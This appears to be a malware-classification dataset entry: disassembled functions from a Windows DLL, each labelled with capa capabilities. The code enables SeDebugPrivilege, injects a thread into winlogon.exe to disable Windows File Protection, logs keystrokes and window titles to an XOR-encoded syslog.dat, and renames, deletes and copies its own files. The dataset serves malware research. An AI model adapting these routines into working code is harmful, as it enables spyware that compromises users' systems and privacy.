joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006f40
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push esi
push eax
push 0x28
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006fbc
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10006fb1
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push esi
push esi
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0xc]
push 0x10
push ecx
push esi
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10006fb1
mov esi, 1
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x10006fd0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebp
push esi
mov esi, dword [esp + 0x138]
push edi
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_isdigit]
add esp, 4
test eax, eax
je 0x10007003
push 0
push 0
push esi
call dword [sym.imp.MSVCRT.dll_strtoul]
add esp, 0xc
mov ebp, eax
jmp 0x10007006
or ebp, 0xffffffff
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x10007026
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x12c
ret
lea ecx, [esp + 0x10]
push ebx
push ecx
push edi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100070c5
mov ebx, dword [sym.imp.MSVCRT.dll__strlwr]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call ebx
add esp, 4
lea edx, [esp + 0x3c]
push eax
push edx
call ebx
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
mov eax, dword [esp + 0x1c]
je 0x10007099
cmp eax, ebp
je 0x10007099
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007048
jmp 0x100070c1
mov ebp, eax
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 0xffffffff
pop ebx
jne 0x100070d4
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x12c
ret
Function at 0x10007130
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push esi
push eax
mov eax, dword [edx + 4]
push 0
push 0
push ecx
push 0
push 0
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x10007170
push 0xfa0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000717c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
pop esi
pop ecx
ret

Function at 0x10007190
Capabilities:
Bypass windows file protection
Check os version

Disassembly:
sub esp, 0x110
push esi
push edi
call fcn.10006f40
test eax, eax
je 0x10007206
push 0x1f0fff
lea eax, [esp + 0x10]
push str.winlogon.exe
push eax
call fcn.100070e0
add esp, 0xc
test eax, eax
je 0x10007206
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x100071ec
xor ecx, ecx
mov cl, ah
test cl, cl
jne 0x100071dd
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x100071f0
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x100071f0
mov esi, dword [esp + 8]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push esi
test edi, edi
jne 0x10007211
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
xor eax, eax
pop esi
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0xc]
push edi
push edx
call fcn.10007130
add esp, 8
test eax, eax
je 0x10007206
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x110
ret
Function at 0x10007760
Capabilities:
Delete file
Get common file path
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x10016426
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push str.UnInstallService__
call edi
lea ecx, [esp + 0xc]
call fcn.1000ebd0
lea eax, [esp + 0x114]
push 0x104
push eax
mov dword [esp + 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x1001d103], 4
jne 0x100077f2
add esi, 0x110
lea ecx, [esp + 0xc]
push esi
call fcn.1000ee90
jmp 0x1000787a
lea ecx, [esp + 0xc]
call fcn.1000ec10
cmp al, 2
jne 0x10007815
lea eax, [esi + 0x110]
add esi, 0x10
push eax
push esi
lea ecx, [esp + 0x14]
call fcn.1000ec90
jmp 0x1000787a
mov ecx, esi
call fcn.10007900
push str.RemoveService_m_strServiceName__
call edi
lea edi, [esi + 0x10]
push edi
call fcn.10005730
add esp, 4
lea ecx, [esp + 8]
call fcn.1000b510
push 4
push edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x228], 1
call fcn.1000ba40
push edi
lea ecx, [esp + 0xc]
call fcn.1000bb50
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 8]
mov byte [esp + 0x220], 0
call fcn.1000b540
lea ecx, [esp + 0xc]
mov dword [esp + 0x220], 0xffffffff
call fcn.1000ec00
mov ecx, dword [esp + 0x218]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x21c
ret
Function at 0x10007900
Capabilities:
Copy file
Delete file
Get common file path
Move file
Print debug messages

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.10007190
mov ecx, dword [0x1001cfc8]
lea eax, [esp + 0x114]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1001b41c
call esi
lea edx, [ebx + 0x10]
push edx
call esi
push 0x1001b414
call esi
lea eax, [esp + 0x114]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x14]
push str._d.bak
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x114]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x14]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s_lang.ini
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
jne 0x100079d4
push 0x14
call edi
inc esi
cmp esi, 0xa
jle 0x100079bf
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s.dll
push eax
call esi
lea ecx, [esp + 0x120]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_rename]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0x14
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push ecx
mov ecx, ebx
call fcn.100078c0
lea edx, [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x18]
push str._sdllcache_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x114]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
Function at 0x10007bb0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001cfc0]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10007bfd
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10007c2b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x10007c1f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10007c60
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x10007dac
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x10007dac
cmp esi, 0x80
ja 0x10007dac
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001cfc0]
cmp eax, dword [edx + 8]
je 0x10007d56
mov dword [edx + 8], eax
mov ecx, dword [0x1001cfc0]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10007c60
mov edx, dword [0x1001cfc0]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x10007d6c
push ebx
call fcn.10007bb0
mov edx, dword [0x1001cfc0]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x10007d97
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001cfc0]
mov dword [edx], eax
mov edx, dword [0x1001cfc0]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001cfc0]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x10008000
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x10017548
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.100080d0
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x1001cfc4], eax
jne 0x10008073
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10008093
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001cfc0], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x100080ae
test eax, eax
je 0x100080a7
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100080c2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10008410
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100084b2
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x1000849d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x1000848f
push edi
push esi
mov ecx, ebp
call fcn.100083b0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10008b20
Capabilities:
Delete registry key
Delete registry value
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017578
push 0x10015df8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 0x6c], 0
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x10008bc8
jmp dword [eax*4 + 0x10008d0c]
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x10008bc8
lea ecx, [ebp - 0x74]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10008bc8
mov esi, dword [ebp + 0x14]
test esi, esi
jbe case.default.0x10008bc8
cmp esi, 2
jbe 0x10008c52
cmp esi, 4
jne case.default.0x10008bc8
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
push eax
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x74]
push eax
call ebx
test eax, eax
jne case.default.0x10008bc8
jmp 0x10008cd4
mov edx, dword [ebp + 0x18]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push esi
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call ebx
test eax, eax
jne case.default.0x10008bc8
jmp 0x10008cd4
lea eax, [ebp - 0x74]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10008bc8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x10008bc8
jmp 0x10008cd4
lea edx, [ebp - 0x74]
push edx
push 0x2001f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10008bc8
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x10008bc8
mov dword [ebp - 0x6c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10008cfb
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008e40
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x3c
lea eax, [esp + 8]
lea edx, [ecx + 8]
push ebx
push esi
xor esi, esi
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10008fc7
push eax
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x3c]
push edx
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10008e9e
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 8]
test eax, eax
lea ebx, [ecx + 1]
jbe 0x10008fc7
cmp ebx, 1
jbe 0x10008fc7
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x87
mov eax, dword [esp + 0x14]
mov cl, byte [esp + 0x4c]
mov dword [edx], eax
mov eax, dword [esp + 0x48]
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
mov byte [edx + 0xc], cl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x10008fa1
mov edx, dword [esp + 0x20]
add edx, 0xd
mov dword [esp + 0x1c], edx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x10008f2d
mov esi, dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x10009400
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x10009440
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
lea eax, [esp]
lea edx, [esp + 0xc]
push eax
lea eax, [esp + 8]
push edx
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009484
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, 1
mov dword [ecx], edx
add esp, 8
ret 8
xor eax, eax
add esp, 8
ret 8

Function at 0x10009490
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push eax
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
inc eax
pop ecx
ret 8

Function at 0x10009510
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8
Function at 0x10009880
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100164e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.10009250
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000997a
test ebx, ebx
jbe 0x10009922
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.10009310
test eax, eax
je 0x10009971
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.10009370
test eax, eax
je 0x10009971
mov ecx, dword [esp + 0x10]
call fcn.10009600
jmp 0x1000997a
mov ecx, dword [esp + 0x10]
call fcn.100095e0
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.100092b0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4